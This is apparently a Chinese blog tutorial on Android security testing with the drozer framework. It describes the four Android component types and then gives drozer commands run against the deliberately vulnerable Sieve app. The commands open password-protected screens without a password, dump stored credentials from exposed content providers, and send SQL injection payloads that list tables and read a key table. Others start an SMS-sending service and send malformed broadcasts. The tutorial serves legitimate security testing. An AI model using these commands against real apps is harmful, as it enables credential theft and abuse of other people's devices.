美文网首页自动化测试
安全测试|移动端安全测试drozer

安全测试|移动端安全测试drozer

作者: 夏天_585c | 来源:发表于2018-09-19 23:34 被阅读0次

    手机应用的快速增长,手机应用安全成为一个热门的话题,android的安全问题有一大部分的原因是因为android的组件暴露、权限使用不当导致的。

    “ 

    随着互联网应用的普及和人们对互联网的依赖,互联网的安全问题也日益凸显。接下来的小编将带您进入安全测试。

    一、android四大组件

    什么是安卓应用组件?安卓主要由四大组件组成,Activity、Service、Content Providers、Broadcast Receivers.

    Activity:是一个应用程序的组件,一个activity对应一个界面,是与用户进行交互的。

    Activity形态:

    Active/Running: 

    Activity处于活动状态,此时Activity处于栈顶,是可见状态,可与用户进行交互。

    Paused: 

    当Activity失去焦点时,或被一个新的非全屏的Activity,或被一个透明的Activity放置在栈顶时,Activity就转化为Paused状态。但我们需要明白,此时Activity只是失去了与用户交互的能力,其所有的状态信息及其成员变量都还存在,只有在系统内存紧张的情况下,才有可能被系统回收掉。

    Stopped:

    当一个Activity被另一个Activity完全覆盖时,被覆盖的Activity就会进入Stopped状态,此时它不再可见,但是跟Paused状态一样保持着其所有状态信息及其成员变量。

    Killed:

    当Activity被系统回收掉时,Activity就处于Killed状态。

    Activity会在以上四种形态中相互切换,至于如何切换,这因用户的操作不同而异。了解了Activity的4种形态后,我们就来聊聊Activity的生命周期。

    ServiceService通常位于后台运行,它一般不需要与用户交互,因此Service组件没有图形用户界面。Service组件需要继承Service基类。Service组件通常用于为其他组件提供后台服务或监控其他组件的运行状态。

    Content Providers:Content Provider用于保存和获取数据,并使其对所有应用程序可见。这是不同应用程序间共享数据的唯一方式,因为android没有提供所有应用共同访问的公共存储区。只有需要在多个应用程序间共享数据是才需要内容提供者。

    Broadcast Receivers:广播接收器没有用户界面。然而,它们可以启动一个activity或service来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力,例如闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

    二、环境搭建

    android sdk;

    adb 安装;

    jdk安装,这里需要是哟啊能1.7以下的jdk,使用1.8的会报错,drozer暂不支持1.8的jdk

    drozer安装:

    Drozer是一个常用的测试框架,它可以分为2个部分,一个是console-它运行在本地的计算机上,一个是server-它运行在android设备上。当你使用console与android设备交互时,基本上就是java代码输入到运行在实际设备上的drozer代理(agent)中。

    drozer下载:https://labs.mwrinfosecurity.com/tools/drozer/ 下载drozer(msi)、agent.apk

    Drozer安装:windows下点击msi直接安装

    agent安装:在测试机上安装agent.apk

    sieve安装:下载sieve.apk,该apk是用来作为被测试的app

    三、drozer验证

    1.打开cmd,运行adb forward tcp:31415 tcp:31415,如图所示 

    2.在Android设备上开启Drozer Agent,如图所示: 

    此时可以看到enable是绿色的了。

    3.在pc端cmd切换到drozer安装目前,然后运行 drozer console connect,如图所示:

    四、测试

    1.获取要测试应用的包名

    dz>run app.package.list -f sieve ,-f它是模糊匹配,匹配包名中的任一字段,会列出包含该字段的所有包名 

    2.获取应用的基本信息

    dz>run app.package.info -a com.mwr.example.sieve ,查看该apk详细信息,可以看到应用的版本信息,数据存储的目录,用户ID,组ID,是否有共享库,还有权限信息等 

    3.确定存在可能被攻击的界面

    dz>run app.package.attacksurface com.mwr.example.sieve  

    显示了潜在可以被利用的组件个数: “exported”表示组件可以被其他App使用, services is debuggable表示我们可以用adb绑定一个调试器到进程。暴露出来的3个activity,2个content provider,2个可以被adb绑定的service。

    4.activity测试

    (1)获取activity信息

    dz>run app.activity.info -a com.mwr.example.sieve

    可以看到有三个界面是可以被利用的。 

    (2)启动activity

    dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

    通过app.activity.start命令可以不需要密码直接进入passwordList界面

    5.Content Provider测试

    (1)获取Content Provider信息

    run app.provider.info -a com.mwr.example.sieve 

    (2)Content Providers(数据泄露)

    先获取所有可以访问的Uri:

    run scanner.provider.finduris -a com.mwr.example.sieve 

    获取各个Uri的数据:

    dz>run app.provider.query

    content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

    查询到数据说明存在漏洞

    可以看到此时有一条数据,该条数据是之前在app添加的数据。这里暴露了service、username、password、email的信息。

    (3)Content Providers(SQL注入)

    content provider的具体信息,包括名字,权限,访问路径等

    dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

    dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

    报错则说明存在SQL注入,我们可以继续查询看看有哪些数据。 

    列出所有表:

    dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"

    获取某个表(如Key)中的数据:

    dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" 

    (4)同时检测SQL注入和目录遍历

    dz>run scanner.provider.injection -a com.mwr.example.sieve

    5.service测试

    (1)获取service详情

    dz>run app.service.info -a com.mwr.example.sieve

    (2)权限提升

    dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

    6.broadcast receive测试

    (1)查看暴露的广播组件信息:

    dz>run app.broadcast.info -a com.package.name

    获取broadcast receivers信息

    dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX

    (2)尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

    dz>run app.broadcast.send 通过intent发送broadcast receiver

    Drozer之所以称之为框架(framework),因为它允许你编写自己的模块或者插件,扩展你的功能让它试用你的功能。它的另外一个作用是,它本质上市一个不需要任何权限的android app—这实际上是它的组件。

    相关文章

      网友评论

        本文标题:安全测试|移动端安全测试drozer

        本文链接:https://www.haomeiwen.com/subject/yowwnftx.html